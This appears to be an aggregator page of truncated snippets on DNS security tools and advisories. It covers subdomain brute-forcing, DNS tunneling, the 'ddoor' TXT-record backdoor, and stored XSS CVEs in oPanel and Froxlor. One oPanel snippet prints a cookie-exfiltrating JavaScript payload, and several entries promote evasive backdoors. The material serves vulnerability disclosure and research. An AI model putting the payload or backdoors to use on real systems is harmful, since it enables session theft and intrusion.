dnssearch

dnssearch This software is a subdomain enumeration tool. Purpose dnssearch takes an input domain -domain parameter and a wordlist -wordlist parameter , it will then perform concurrent DNS requests using the lines of the wordlist as sub domains eventually bruteforcing every sub domain available on...

DNS_Tunneling

Intro Inspired by recent work I did involving Cobalt Strike DNS beacons, in conjunction with a mission statement to try and evade Microsoft Defender for Endpoint, I spent some time looking into how DNS might be used to transfer a payload to a target machine. I further wanted to challenge myself b...

policymaker

policymaker Generate a real vulnerability-disclosure policy — VDP, safe harbor, security.txt & DNS Security TXT — in minutes. No lawyer required...

dig

dig Envoltorio local de dig en macOS. Quien realmente envía la consulta sigue siendo el /usr/bin/dig del sistema. Este proyecto solo añade un TXT local al final de la salida de tu propia terminal, para facilitar las pruebas locales. No modifica DNS, no escribe zone file archivos de zona, ni toca...

ddoor

ddoor cross platform backdoor using dns txt records What is ddor? ddor is a cross platform light weight backdoor that uses txt records to execute commands on infected machines. Features Allows a single txt record to have seperate commands for both linux and windows machines List of around 10 publ...

ddoor

ddoor 使用DNS TXT记录的跨平台后门 什么是ddor? ddor 是一个跨平台轻量级后门，使用TXT记录在受感染机器上执行命令。 特性 允许单个TXT记录为Linux和Windows机器分别设置命令 大约10个公共DNS服务器的列表，随机选择 不可预测的回调时间 使用自定义密码的XOR加密TXT记录 支持DNS over HTTPS（感谢Keith @keharv添加此功能！） Linux特性: 反调试，如果检测到ptrace附加到进程，它将退出。 进程名称/线程名称被隐藏，一个假名称覆盖所有系统参数和文件名，使其看起来像合法程序。 自动守护进程化...

CVE-2026-50980

CVE-2026-50980：基于 DNS 的跨站脚本攻击（XSS）及会话劫持（oPanel） 概述 CVE ID： CVE-2026-50980 产品： oPanel 受影响版本： new Image.src='http://:/log?cookie='+document.cookie;...

dark-doh

dark-doh.exe versión pública Propósito: Descargar archivos a través de DoH, o descargar y ejecutar un shellcode no implementado en la versión pública Ejemplo de ejecución: dark-doh.exe file1 download google yourdomain.com Se ha añadido el script Python de apoyo para la generación de zonas DNS...

goldig

Project moved to github.com/rtfmkiesel/goldig goldig Execute commands on Windows via DNS records. This utility will create a DNS server and serve a malicious TXT record. Just copy & paste the command from the console output into your Windows shell. Usage root@kitploit: usage: goldig OPTIONS...

RedTeamScripts

RedTeamScripts Repositorio con varios scripts de Red Team. kill.exe Estás realizando todo tipo de actividades durante un red team y tienes varios procesos ejecutándose que no quieres cerrar manualmente. kill.exe es para ti. Cópialo en C:\Windows\ y simplemente llámalo con el nombre del proceso qu...

CVE-2026-50980

Cross-Site Scripting XSS vulnerability in the DNS lookup/management component of oPanel before v1.20.25 allows remote attackers to execute arbitrary JavaScript and perform session hijacking via a crafted DNS TXT record...

CVE-2026-50980

Cross-Site Scripting XSS vulnerability in the DNS lookup/management component of oPanel before v1.20.25 allows remote attackers to execute arbitrary JavaScript and perform session hijacking via a crafted DNS TXT record...

CVE-2026-50980

oPanel (a web hosting control panel) contains a Stored XSS in its DNS lookup/management component, affecting versions before v1.20.25 . The root cause is the lack of HTML encoding when DNS responses (specifically TXT records) are rendered in the panel's web interface. An attacker who controls a n...

EUVD-2026-67917

Cross-Site Scripting XSS vulnerability in the DNS lookup/management component of oPanel before v1.20.25 allows remote attackers to execute arbitrary JavaScript and perform session hijacking via a crafted DNS TXT record...

CVE-2026-54347

Froxlor is open source server administration software. Prior to 2.3.8, DNS TXT record content accepted by lib/Froxlor/Api/Commands/DomainZones.php can contain HTML special characters, lib/Froxlor/UI/Callbacks/Text.php returns the content from Text::wordwrap without HTML escaping, and...

Froxlor: Stored XSS in DNS TXT Record Content Allows Customer-to-Admin Account Takeover

Summary A stored Cross-Site Scripting XSS vulnerability in Froxlor's DNS editor allows an authenticated user with DNS editor access customer role to inject arbitrary JavaScript into any administrator's browser session. When an administrator views the DNS configuration of an affected domain, the...

CVE-2026-54347 Froxlor: Stored XSS in DNS TXT Record Content Allows Customer-to-Admin Account Takeover

Froxlor is open source server administration software. Prior to 2.3.8, DNS TXT record content accepted by lib/Froxlor/Api/Commands/DomainZones.php can contain HTML special characters, lib/Froxlor/UI/Callbacks/Text.php returns the content from Text::wordwrap without HTML escaping, and...

EUVD-2026-61219

Froxlor is open source server administration software. Prior to 2.3.8, DNS TXT record content accepted by lib/Froxlor/Api/Commands/DomainZones.php can contain HTML special characters, lib/Froxlor/UI/Callbacks/Text.php returns the content from Text::wordwrap without HTML escaping, and...

CVE-2026-54347

In Froxlor prior to 2.3.8, a low-privileged authenticated customer can store JavaScript in a DNS TXT record; it is rendered unescaped via the Twig |raw filter and an unescaped Text::wordwrap callback, auto-executing when an admin views the DNS table, enabling session theft and full admin account ...

CVE-2026-54347 Froxlor: Stored XSS in DNS TXT Record Content Allows Customer-to-Admin Account Takeover

Froxlor is open source server administration software. Prior to 2.3.8, DNS TXT record content accepted by lib/Froxlor/Api/Commands/DomainZones.php can contain HTML special characters, lib/Froxlor/UI/Callbacks/Text.php returns the content from Text::wordwrap without HTML escaping, and...